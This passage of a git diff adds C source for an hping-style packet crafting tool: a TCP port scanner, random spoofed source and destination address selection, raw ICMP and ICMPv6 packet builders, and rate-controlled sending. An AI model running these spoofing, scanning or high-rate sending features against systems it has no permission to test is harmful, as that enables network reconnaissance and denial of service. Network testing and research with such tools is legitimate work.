perror("[shm_attach] shmat"); + return NULL; /* on error NULL */ + } + return shared; /* on success the address */ +} + +static int shm_rm(void) +{ + struct shmid_ds shmemds; + + return shmctl(id, IPC_RMID, &shmemds); +} + +static int shm_detach(void *addr) +{ + return shmdt(addr); +} + +static void *shm_init(int size) +{ + if (shm_creat(size) == -1) + return NULL; + return shm_attach(); +} + +static void shm_close(void *addr) +{ + shm_detach(addr); + shm_rm(); +} + +/* ------------------------------ locking ---------------------------------- */ + +/* Note that a mutex can't be used with shared memory (on Linux), the only left + * option is a semaphore, but I tried to protect the critical code + * using the functions above: the scanner becomes too slow. For now + * it's better to have nothing at all, for the future we need something + * like a spinlock. (btw, note that the code should be safe on x86) */ + +/* I left this code here, just in the case it will be useful for testing */ +#if 0 +static int sem_init(void) +{ + int semid, sem_key; + + if ((sem_key = ftok("/tmp/hpingscansem", 1)) == -1) { + perror("ftok"); + exit(1); + } + + /* Semi-safe semaphore initialization from R.Stevens */ + + /* Try to create the semaphore with EXCL */ + if ((semid = semget(sem_key, 1, IPC_CREAT|IPC_EXCL|SEM_MODE)) != -1) { + /* success, we need to initialize it */ + union semun arg; + + arg.val = 1; + if (semctl(semid, 0, SETVAL, arg) == -1) { + perror("semctl"); + exit(1); + } + } else if (errno == EEXIST) { + if ((semid = semget(sem_key, 1, SEM_MODE)) == -1) { + perror("semget"); + exit(1); + } + } else { + perror("semget"); + exit(1); + } + return semid; +} + +static int ports_lock(int semid) +{ + struct sembuf op[1]; + + op[0].sem_num = 0; + op[0].sem_op = -1; + op[0].sem_flg = SEM_UNDO; + return semop(semid, op, 1); +} + +static int ports_unlock(int semid) +{ + struct sembuf op[1]; + + op[0].sem_num = 0; + op[0].sem_op = +1; + op[0].sem_flg = SEM_UNDO; + return semop(semid, op, 1); +} +#endif + +/* -------------------------------- misc ----------------------------------- */ +static char *tcp_strflags(char *s, unsigned int flags) +{ + char *ftab = "FSRPAYXY", *p = s; + int bit = 0; + + memset(s, '.', 8); + s[8] = '\0'; + while(bit < 8) { + if (flags & (1 << bit)) + p[bit] = ftab[bit]; + bit++; + } + return s; +} + +static char *port_to_name(int port) +{ + struct servent *se; + + se = getservbyport(htons(port), NULL); + if (!se) + return ""; + else + return se->s_name; +} + +/* ----------------------------- ports parsing ------------------------------ */ +static int parse_ports(struct portinfo *pi, char *ports) +{ + char *args[32], *p = strdup(ports); + int argc, j, i; + + if (!p) { + fprintf(stderr, "Out of memory"); + return 1; + } + argc = strftok(",", ports, args, 32); + for (j = 0; j < argc; j++) { + int neg = 0; + char *a = args[j]; + + /* ports negation */ + if (a[0] == '!') { + neg = 1; + a++; + } + /* range */ + if (strchr(a, '-')) { + char *range[2]; + int low, high; + + strftok("-", a, range, 2); + if (!strisnum(range[0]) || !strisnum(range[1])) + goto err; /* syntax error */ + low = strtol(range[0], NULL, 0); + high = strtol(range[1], NULL, 0); + if (low > high) { + int t; + t = high; + high = low; + low = t; + } + for (i = low; i <= high; i++) + pi[i].active = !neg; + /* all the ports */ + } else if (!strcmp(a, "all")) { + for (i = 0; i <= MAXPORT; i++) + pi[i].active = !neg; + /* /etc/services ports */ + } else if (!strcmp(a, "known")) { + struct servent *se; + setservent(0); + while((se = getservent()) != NULL) { + int port = ntohs(se->s_port); + if (port < 0 || port > MAXPORT) + continue; + pi[port].active = !neg; + } + /* a single port */ + } else { + int port; + if (!strisnum(a)) + goto err; /* syntax error */ + port = strtol(a, NULL, 0); + if (port < 0 || port > MAXPORT) + goto err; /* syntax error */ + pi[port].active = !neg; + } + } + free(p); + return 0; +err: + free(p); + return 1; +} + +/* -------------------------------- output ---------------------------------- */ +static void sender(struct portinfo *pi) +{ + int i, retry = 0; + time_t start_time; + + start_time = get_midnight_ut_ms(); + + while(1) { + int active = 0; + int recvd = 0; + retry ++; + for (i = 0; i < MAXPORT; i++) { + if (pi[i].active && pi[i].retry) { + active++; + pi[i].retry--; + sequence = -1; + dst_port = i; + pi[i].sentms = get_midnight_ut_ms(); + send_tcp(); + if (opt_waitinusec) { + if (usec_delay.it_interval.tv_usec) + usleep(usec_delay.it_interval.tv_usec); + } else { + sleep(sending_wait); + } + } + } + avrgms = (float) pi[MAXPORT+1].active; + if (retry >= 3) { + if (opt_debug) + printf("AVRGMS %f\n", avrgms); + if (avrgms) + usleep((int) (avrgms*1000)); + else + sleep(1); + } + for (i = 0; i < MAXPORT; i++) { + if (!pi[i].active && pi[i].retry) + recvd++; + } + /* More to scan? */ + if (!active) { + if (!recvd) + sleep(1); + fprintf(stderr, "All replies received. Done.\n"); + printf("Not responding ports: "); + for (i = 0; i < MAXPORT; i++) { + if (pi[i].active && !pi[i].retry) + printf("(%d %.11s) ", i, port_to_name(i)); + } + printf("\n"); + exit(0); + } + /* Are we sending too fast? */ + if ((!recvd && opt_waitinusec && + usec_delay.it_interval.tv_usec == 0 && + (get_midnight_ut_ms() - start_time) > 500) || + (opt_scan_probes-retry) <= 2) + { + if (opt_debug) + printf("SLOWING DONW\n"); + usec_delay.it_interval.tv_usec *= 10; + usec_delay.it_interval.tv_usec ++; + } + } +} + +/* -------------------------------- input ---------------------------------- */ +static void receiver(struct portinfo *pi, int childpid) +{ + struct myiphdr ip; + char packet[IP_MAX_SIZE+linkhdr_size]; + + while(1) + { + int len, iplen; + + len = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + if (len == -1) { + perror("read_packet"); + continue; + } + /* minimal sanity checks */ + if (len < linkhdr_size) + continue; + iplen = len - linkhdr_size; + if (iplen < sizeof(struct myiphdr)) + continue; + /* copy the ip header in an access-safe place */ + memcpy(&ip, packet+linkhdr_size, sizeof(ip)); + /* check if the dest IP matches */ + if (memcmp(&ip.daddr, &ADDR4(&local), sizeof(ip.daddr))) + continue; + /* check if the source IP matches */ + if (ip.protocol != IPPROTO_ICMP && + memcmp(&ip.saddr, &ADDR4(&remote), sizeof(ip.saddr))) + continue; + if (ip.protocol == IPPROTO_TCP) { + struct mytcphdr tcp; + int iphdrlen = ip.ihl << 2; + char flags[16]; + time_t rttms; + int sport; + + /* more sanity checks */ + if ((iplen - iphdrlen) < sizeof(tcp)) + continue; + /* time to copy the TCP header in a safe place */ + memcpy(&tcp, packet+linkhdr_size+iphdrlen, sizeof(tcp)); + + /* check if the TCP dest port matches */ +#if 0 + printf("SRC: %d DST: %d\n", + ntohs(tcp.th_sport), + ntohs(tcp.th_dport)); +#endif + if (ntohs(tcp.th_dport) != initsport) + continue; + sport = htons(tcp.th_sport); + if (pi[sport].active == 0) + continue; + + + /* Note that we don't care about a wrote RTT + * result due to resend on the same port. */ + rttms = get_midnight_ut_ms() - pi[sport].sentms; + + avrgcount++; + avrgms = (avrgms*(avrgcount-1)/avrgcount)+(rttms/avrgcount); + /* The avrg RTT is shared using shared memory, + * no locking... */ + pi[MAXPORT+1].active = (int) avrgms; + + tcp_strflags(flags, tcp.th_flags); +#if 0 + printf("%5d: %s %3d %5d %5d %10ld (%2d)\n", + sport, + flags, + ip.ttl, + ip.id, + ntohs(tcp.th_win), + (long) rttms, + opt_scan_probes-(pi[sport].retry)); +#endif + if ((tcp.th_flags & TH_SYN) || opt_verbose) { + printf("%5d %-11.11s: %s %3d %5d %5d\n", + sport, + port_to_name(sport), + flags, + ip.ttl, + ip.id, + ntohs(tcp.th_win)); + fflush(stdout); + } + pi[sport].active = 0; + } else if (ip.protocol == IPPROTO_ICMP) { + struct myicmphdr icmp; + struct myiphdr subip; + struct mytcphdr subtcp; + int iphdrlen = ip.ihl << 2; + unsigned char *p; + int port; + struct in_addr gwaddr; + + /* more sanity checks, we are only interested + * in ICMP quoting the original packet. */ + if ((iplen - iphdrlen) < sizeof(icmp)+sizeof(subip)+sizeof(subtcp)) + continue; + /* time to copy headers in a safe place */ + p = packet+linkhdr_size+iphdrlen; + memcpy(&icmp, p, sizeof(subtcp)); + p += sizeof(icmp); + memcpy(&subip, p, sizeof(ip)); + p += sizeof(ip); + memcpy(&subtcp, p, sizeof(subtcp)); + + /* Check if the ICMP quoted packet matches */ + /* check if the source IP matches */ + if (memcmp(&subip.saddr, &ADDR4(&local), sizeof(subip.saddr))) + continue; + /* check if the destination IP matches */ + if (memcmp(&subip.daddr, &ADDR4(&remote), sizeof(subip.daddr))) + continue; + /* check if the quoted TCP packet port matches */ + if (ntohs(subtcp.th_sport) != initsport) + continue; + port = htons(subtcp.th_dport); + if (pi[port].active == 0) + continue; + pi[port].active = 0; + memcpy(&gwaddr.s_addr, &ip.saddr, 4); + printf("%5d: %3d %5d (ICMP %3d %3d from %s)\n", + port, + ip.ttl, + ntohs(ip.id), + icmp.type, + icmp.code, + inet_ntoa(gwaddr)); + } + } +} + +/* ---------------------------------- main ---------------------------------- */ +static void do_exit(int sid) +{ + exit(0); +} + +void scanmain(void) +{ + struct portinfo *pi; + int ports = 0, i; + int childpid; + + pi = shm_init(sizeof(*pi)*(MAXPORT+2)); + pi[MAXPORT+1].active = 0; /* hold the average RTT */ + if (pi == NULL) { + fprintf(stderr, "Unable to create the shared memory"); + shm_close(pi); + exit(1); + } + for (i = 0; i <= MAXPORT; i++) { + pi[i].active = 0; + pi[i].retry = opt_scan_probes; + } + if (parse_ports(pi, opt_scanports)) { + fprintf(stderr, "Ports syntax error for scan mode\n"); + shm_close(pi); + exit(1); + } + for (i = 0; i <= MAXPORT; i++) { + if (!pi[i].active) + pi[i].retry = 0; + } + for (i = 0; i <= MAXPORT; i++) + ports += pi[i].active; + fprintf(stderr, "%d ports to scan, use -V to see all the replies\n", ports); + fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n"); + fprintf(stderr, "|port| serv name | flags |ttl| id | win |\n"); + fprintf(stderr, "+----+-----------+---------+---+-----+-----+\n"); + + /* We are ready to fork, the input and output parts + * are separated processes */ + if ((childpid = fork()) == -1) { + perror("fork"); + shm_close(pi); + exit(1); + } + /* The parent is the receiver, the child the sender. + * it's almost the same but this way is simpler + * to make it working in pipe with other commands like grep. */ + if (childpid) { /* parent */ + Signal(SIGCHLD, do_exit); + Signal(SIGINT, do_exit); + Signal(SIGTERM, do_exit); + receiver(pi, childpid); + } else { /* child */ + Signal(SIGINT, do_exit); + Signal(SIGTERM, do_exit); + sender(pi); + } + /* UNREACHED */ +} diff --git a/send.c b/send.c new file mode 100644 index 0000000..ca0259d --- /dev/null +++ b/send.c @@ -0,0 +1,239 @@ +/* + * $smu-mark$ + * $name: sendudp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: send.c,v 1.6 2003/08/01 14:53:08 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +#ifndef INET6_ADDRSTRLEN +#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255") +#endif + +static void select_next_random_source(void) +{ + unsigned char ra[4]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + memcpy(&ADDR4(&local).s_addr, ra, 4); + + if (opt_debug) + printf("DEBUG: the source address is %u.%u.%u.%u\n", + ra[0], ra[1], ra[2], ra[3]); +} + +static void select_next_random_ipv6_source(void) +{ + unsigned char ra[16]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + ra[4] = hp_rand() & 0xFF; + ra[5] = hp_rand() & 0xFF; + ra[6] = hp_rand() & 0xFF; + ra[7] = hp_rand() & 0xFF; + ra[8] = hp_rand() & 0xFF; + ra[9] = hp_rand() & 0xFF; + ra[10] = hp_rand() & 0xFF; + ra[11] = hp_rand() & 0xFF; + ra[12] = hp_rand() & 0xFF; + ra[13] = hp_rand() & 0xFF; + ra[14] = hp_rand() & 0xFF; + ra[15] = hp_rand() & 0xFF; + memcpy(&ADDR6(&local).s6_addr, ra, 16); + +} + +static void select_next_random_ipv6_dest(void) +{ + unsigned char ra[16]; + + ra[0] = hp_rand() & 0xFF; + ra[1] = hp_rand() & 0xFF; + ra[2] = hp_rand() & 0xFF; + ra[3] = hp_rand() & 0xFF; + ra[4] = hp_rand() & 0xFF; + ra[5] = hp_rand() & 0xFF; + ra[6] = hp_rand() & 0xFF; + ra[7] = hp_rand() & 0xFF; + ra[8] = hp_rand() & 0xFF; + ra[9] = hp_rand() & 0xFF; + ra[10] = hp_rand() & 0xFF; + ra[11] = hp_rand() & 0xFF; + ra[12] = hp_rand() & 0xFF; + ra[13] = hp_rand() & 0xFF; + ra[14] = hp_rand() & 0xFF; + ra[15] = hp_rand() & 0xFF; + memcpy(&ADDR6(&remote).s6_addr, ra, 16); +} + +static void select_next_random_ipv6_source_simple(void) +{ struct in6_addr rand6; + + rand6 = ipv6_rand("2200::",8); + + memcpy(&ADDR6(&local).s6_addr, rand6.s6_addr,16); + +} + +static void select_next_random_ipv6_dest_simple(void) +{ + struct in6_addr rand6; + + rand6 = ipv6_rand("2200::",8); + + memcpy(&ADDR6(&remote).s6_addr, rand6.s6_addr,16); +} + +static void select_next_random_dest(void) +{ + unsigned char ra[4]; + char a[4], b[4], c[4], d[4]; + + if (sscanf(targetname, "%4[^.].%4[^.].%4[^.].%4[^.]", a, b, c, d) != 4) + { + fprintf(stderr, + "wrong --rand-dest target host, correct examples:\n" + " x.x.x.x, 192,168.x.x, 128.x.x.255\n" + "you typed: %s\n", targetname); + exit(1); + } + a[3] = b[3] = c[3] = d[3] = '\0'; + + ra[0] = a[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(a, NULL, 0); + ra[1] = b[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(b, NULL, 0); + ra[2] = c[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(c, NULL, 0); + ra[3] = d[0] == 'x' ? (hp_rand() & 0xFF) : strtoul(d, NULL, 0); + memcpy(&ADDR4(&remote).s_addr, ra, 4); + + if (opt_debug) { + printf("DEBUG: the dest address is %u.%u.%u.%u\n", + ra[0], ra[1], ra[2], ra[3]); + } +} + +long long sum_bytes; +unsigned int sum_packets; +/* The signal handler for SIGALRM will send the packets */ +#define TDIFF(a,b) (((a).tv_usec - (b).tv_usec)/1000+((a).tv_sec - (b).tv_sec)*1000) +void send_packet (int signal_id) +{ + int errno_save = errno; + struct timeval tv1, tv2; + int lel = 0; + + gettimeofday(&tv1, NULL); + do{ + if (opt_rand_dest){ + if(opt_ipv6) { + select_next_random_ipv6_dest(); + } else { + select_next_random_dest(); + } + } + if (opt_rand_source){ + if(opt_ipv6) { + select_next_random_ipv6_source(); + } else { + select_next_random_source(); + } + } + + if (opt_rawipmode) send_rawip(); + else if (opt_icmpmode){if(opt_ipv6)send_icmp6(); else send_icmp();} + else if (opt_udpmode) send_udp(); + else send_tcp(); + + sent_pkt++; + if((opt_pps || opt_bps) && (sum_packets & 127) == 13) + { + int el; + + gettimeofday(&tv2, NULL); + el = TDIFF(tv2, tv1); + if(opt_bps) + { + if(sum_bytes * 1000 / opt_bps > el) + usleep((sum_bytes * 1000 / opt_bps - el) * 1000); + } + else if(opt_pps) + { + if(sum_packets * 1000 / opt_pps > el) + usleep((sum_packets * 1000 / opt_pps - el) * 1000); + } + if(el - lel > 100) + { + float bps, pps; + char *bpsc, *ppsc; + + gettimeofday(&tv2, NULL); + el = TDIFF(tv2, tv1); + pps = (float)sum_packets*1000/el; + bps = (float)sum_bytes*8000/el; + bpsc = ppsc = ""; + if(bps > 9999999999.0) + { + bps /= 1000000000.0; + bpsc = "G"; + } + else if(bps > 9999999) + { + bps /= 1000000; + bpsc = "M"; + } + else if(bps > 9999) + { + bps /= 1000; + bpsc = "k"; + } + + if(pps > 9999999) + { + pps /= 1000000; + ppsc = "M"; + } + else if(pps > 9999) + { + pps /= 1000; + ppsc = "k"; + } + + printf("\rt: %.2fs, %.1f %spps, %.1f %sbps ", (float)el/1000.0, pps, ppsc, bps, bpsc); + fflush(stdout); + lel = el; + } + } + }while(opt_pps || opt_bps); + Signal(SIGALRM, send_packet); + + if (count != -1 && count == sent_pkt) { /* count reached? */ + Signal(SIGALRM, print_statistics); + alarm(COUNTREACHED_TIMEOUT); + } else if (!opt_listenmode) { + if (opt_waitinusec == FALSE) + alarm(sending_wait); + else + setitimer(ITIMER_REAL, &usec_delay, NULL); + } + errno = errno_save; +} diff --git a/sendhcmp.c b/sendhcmp.c new file mode 100644 index 0000000..2177571 --- /dev/null +++ b/sendhcmp.c @@ -0,0 +1,49 @@ +/* + * $smu-mark$ + * $name: sendhcmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 4$ + */ + +#include +#include +#include +#include /* SIGALARM macro */ + +#include "hping2.h" +#include "globals.h" + +#define MUST_BE_UNREACHED 0 + +void send_hcmp(__u8 type, __u32 arg) +{ + static struct hcmphdr hcmph; /* static because we export this */ + /* to data_handler() */ + + data_size = signlen + sizeof(struct hcmphdr); + + /* build hcmp header */ + memset(&hcmph, 0, sizeof(hcmph)); + hcmph.type = type; + switch (type) + { + case HCMP_RESTART: + hcmph.typedep.seqnum = htons((__u16) arg); + break; + case HCMP_SOURCE_QUENCH: + case HCMP_SOURCE_STIRUP: + hcmph.typedep.usec = htonl(arg); + break; + default: + assert(MUST_BE_UNREACHED); + } + + /* use hcmphdr_p to transmit hcmph to data_handler() */ + hcmphdr_p = &hcmph; + kill(getpid(), SIGALRM); /* send hcmp */ + + return; +} diff --git a/sendicmp.c b/sendicmp.c new file mode 100644 index 0000000..dfbb398 --- /dev/null +++ b/sendicmp.c @@ -0,0 +1,283 @@ +/* + * $smu-mark$ + * $name: sendicmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:49 MET 1999$ + * $rev: 8$ + */ + +/* $Id: sendicmp.c,v 1.9 2003/07/25 11:42:10 njombart Exp $ */ + +#include /* this should be not needed, but ip_icmp.h lacks it */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int _icmp_seq = 0; + +static void send_icmp_echo(void); +static void send_icmp_other(void); +static void send_icmp_timestamp(void); +static void send_icmp_address(void); + +void send_icmp(void) +{ + switch(opt_icmptype) + { + case ICMP_ECHO: /* type 8 */ + case ICMP_ECHOREPLY: /* type 0 */ + send_icmp_echo(); + break; + case ICMP_DEST_UNREACH: /* type 3 */ + case ICMP_SOURCE_QUENCH: /* type 4 */ + case ICMP_REDIRECT: /* type 5 */ + case ICMP_TIME_EXCEEDED: /* type 11 */ + send_icmp_other(); + break; + case ICMP_TIMESTAMP: + case ICMP_TIMESTAMPREPLY: + send_icmp_timestamp(); + break; + case ICMP_ADDRESS: + case ICMP_ADDRESSREPLY: + send_icmp_address(); + break; + default: + if (opt_force_icmp) { + send_icmp_other(); + break; + } else { + printf("[send_icmp] Unsupported icmp type!\n"); + exit(1); + } + } +} + +static void send_icmp_echo(void) +{ + char *packet, *data; + struct myicmphdr *icmp; + + packet = malloc(ICMPHDR_SIZE + data_size); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + data_size); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = opt_icmpcode; /* should be indifferent */ + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + + /* data */ + data_handler(data, data_size); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_ECHO) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + data_size); + free (packet); + + _icmp_seq++; +} + + +static void send_icmp_timestamp(void) +{ + char *packet; + struct myicmphdr *icmp; + struct icmp_tstamp_data *tstamp_data; + + packet = malloc(ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + + icmp = (struct myicmphdr*) packet; + tstamp_data = (struct icmp_tstamp_data*) (packet + ICMPHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = 0; + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + tstamp_data->orig = htonl(get_midnight_ut_ms()); + tstamp_data->recv = tstamp_data->tran = 0; + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + + sizeof(struct icmp_tstamp_data)); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_TIMESTAMP) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + sizeof(struct icmp_tstamp_data)); + free (packet); + + _icmp_seq++; +} + +static void send_icmp_address(void) +{ + char *packet; + struct myicmphdr *icmp; + + packet = malloc(ICMPHDR_SIZE + 4); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + 4); + + icmp = (struct myicmphdr*) packet; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = 0; + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + memset(packet+ICMPHDR_SIZE, 0, 4); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + 4); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP_TIMESTAMP) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + 4); + free (packet); + + _icmp_seq++; +} + +static void send_icmp_other(void) +{ + char *packet, *data, *ph_buf; + struct myicmphdr *icmp; + struct myiphdr icmp_ip; + struct myudphdr *icmp_udp; + int udp_data_len = 0; + struct pseudohdr *pseudoheader; + int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size; + + packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + if (packet == NULL || ph_buf == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + memset(ph_buf, 0, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + icmp = (struct myicmphdr*) packet; + data = packet + ICMPHDR_SIZE; + pseudoheader = (struct pseudohdr *) ph_buf; + icmp_udp = (struct myudphdr *) (ph_buf + PSEUDOHDR_SIZE); + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* ICMP_TIME_EXCEEDED */ + icmp->code = opt_icmpcode; /* should be 0 (TTL) or 1 (FRAGTIME) */ + icmp->checksum = 0; + if (opt_icmptype == ICMP_REDIRECT) + memcpy(&icmp->un.gateway, &icmp_gw.sin_addr.s_addr, 4); + else + icmp->un.gateway = 0; /* not used, MUST be 0 */ + + /* concerned packet headers */ + /* IP header */ + icmp_ip.version = icmp_ip_version; /* 4 */ + icmp_ip.ihl = icmp_ip_ihl; /* IPHDR_SIZE >> 2 */ + icmp_ip.tos = icmp_ip_tos; /* 0 */ + icmp_ip.tot_len = htons((icmp_ip_tot_len ? icmp_ip_tot_len : (icmp_ip_ihl<<2) + UDPHDR_SIZE + udp_data_len)); + icmp_ip.id = htons(getpid() & 0xffff); + icmp_ip.frag_off = 0; /* 0 */ + icmp_ip.ttl = 64; /* 64 */ + icmp_ip.protocol = icmp_ip_protocol; /* 6 (TCP) */ + icmp_ip.check = 0; + memcpy(&icmp_ip.saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&icmp_ip.daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + icmp_ip.check = cksum((__u16 *) &icmp_ip, IPHDR_SIZE); + + /* UDP header */ + memcpy(&pseudoheader->saddr, &icmp_ip_src.sin_addr.s_addr, 4); + memcpy(&pseudoheader->daddr, &icmp_ip_dst.sin_addr.s_addr, 4); + pseudoheader->protocol = icmp_ip.protocol; + pseudoheader->lenght = icmp_ip.tot_len; + icmp_udp->uh_sport = htons(icmp_ip_srcport); + icmp_udp->uh_dport = htons(icmp_ip_dstport); + icmp_udp->uh_ulen = htons(UDPHDR_SIZE + udp_data_len); + icmp_udp->uh_sum = cksum((__u16 *) ph_buf, PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + + /* filling icmp body with concerned packet header */ + + /* fill IP */ + if (left_space == 0) goto no_space_left; + memcpy(packet+ICMPHDR_SIZE, &icmp_ip, left_space); + left_space -= IPHDR_SIZE; + data += IPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill UDP */ + memcpy(packet+ICMPHDR_SIZE+IPHDR_SIZE, icmp_udp, left_space); + left_space -= UDPHDR_SIZE; + data += UDPHDR_SIZE; + if (left_space <= 0) goto no_space_left; + + /* fill DATA */ + data_handler(data, left_space); +no_space_left: + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + else + icmp->checksum = icmp_cksum; + + /* send packet */ + send_ip_handler(packet, ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + free (packet); + free (ph_buf); +} diff --git a/sendicmp6.c b/sendicmp6.c new file mode 100644 index 0000000..aa0ce58 --- /dev/null +++ b/sendicmp6.c @@ -0,0 +1,193 @@ +/* + * $smu-mark$ + * $name: sendicmp6.c$ + * $author: Matyas Koszik $ + * $copyright: Copyright (C) 2006 by Matyas Koszik$ + * $license: This software is under GPL version 2 of license$ + * $date: Sun Apr 16 05:51:38 CEST 2006$ + * $rev: 1$ + */ + + +#include /* this should be not needed, but ip_icmp.h lacks it */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int _icmp_seq = 0; + +static void send_icmp6_echo(void); +static void send_icmp_other(void); + +void send_icmp6(void) +{ + switch(opt_icmptype) + { + case ICMP6_ECHO: /* type 128 */ + case ICMP6_ECHOREPLY: /* type 129 */ + send_icmp6_echo(); + break; + case ICMP6_DEST_UNREACH: /* type 1 */ + case ICMP6_PACK_TOOBIG: /* type 2 */ + case ICMP6_TIME_EXCEEDED: /* type 3 */ + case ICMP6_PARAMETERPROB: /* type 4 */ + send_icmp_other(); + break; + default: + if (opt_force_icmp) { + send_icmp_other(); + break; + } else { + printf("[send_icmp6] Unsupported icmp type %i!\n", opt_icmptype); + exit(1); + } + } +} + +static void send_icmp6_echo(void) +{ + char *packet, *data; + struct myicmphdr *icmp; + struct pseudohdr6 *pseudoheader6; + + packet = malloc(PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size); + if (packet == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, PSEUDOHDR6_SIZE + ICMPHDR_SIZE + data_size); + + icmp = (struct myicmphdr*)(packet + PSEUDOHDR6_SIZE); + data = packet + PSEUDOHDR6_SIZE + ICMPHDR_SIZE; + + /* fill icmp hdr */ + icmp->type = opt_icmptype; /* echo replay or echo request */ + icmp->code = opt_icmpcode; /* should be indifferent */ + icmp->checksum = 0; + icmp->un.echo.id = getpid() & 0xffff; + icmp->un.echo.sequence = _icmp_seq; + + /* data */ + data_handler(data, data_size); + + pseudoheader6 = (struct pseudohdr6*)packet; + memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16); + memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16); + pseudoheader6->protocol = 58; + pseudoheader6->lenght = htons(ICMPHDR_SIZE + data_size); + + /* icmp checksum */ + if (icmp_cksum == -1) + icmp->checksum = cksum((u_short*)packet, ICMPHDR_SIZE + data_size + PSEUDOHDR6_SIZE); + else + icmp->checksum = icmp_cksum; + + /* adds this pkt in delaytable */ + if (opt_icmptype == ICMP6_ECHO) + delaytable_add(_icmp_seq, 0, time(NULL), get_usec(), S_SENT); + + /* send packet */ + send_ip_handler(packet + PSEUDOHDR6_SIZE, ICMPHDR_SIZE + data_size); + free (packet); + + _icmp_seq++; +} + + + +static void send_icmp_other(void) +{ + char *packet, *data, *ph_buf; + struct myicmphdr *icmp; + struct myiphdr icmp_ip; + struct myudphdr *icmp_udp; + int udp_data_len = 0; + struct pseudohdr *pseudoheader; + int left_space = IPHDR_SIZE + UDPHDR_SIZE + data_size; + + packet = malloc(ICMPHDR_SIZE + IPHDR_SIZE + UDPHDR_SIZE + data_size); + ph_buf = malloc(PSEUDOHDR_SIZE + UDPHDR_SIZE + udp_data_len); + if (packet == NULL || ph_buf == NULL) { + perror("[send_icmp] malloc"); + return; + } + + memset(packet, 0, ICMPHDR_SIZE + IPHDR_SIZE + 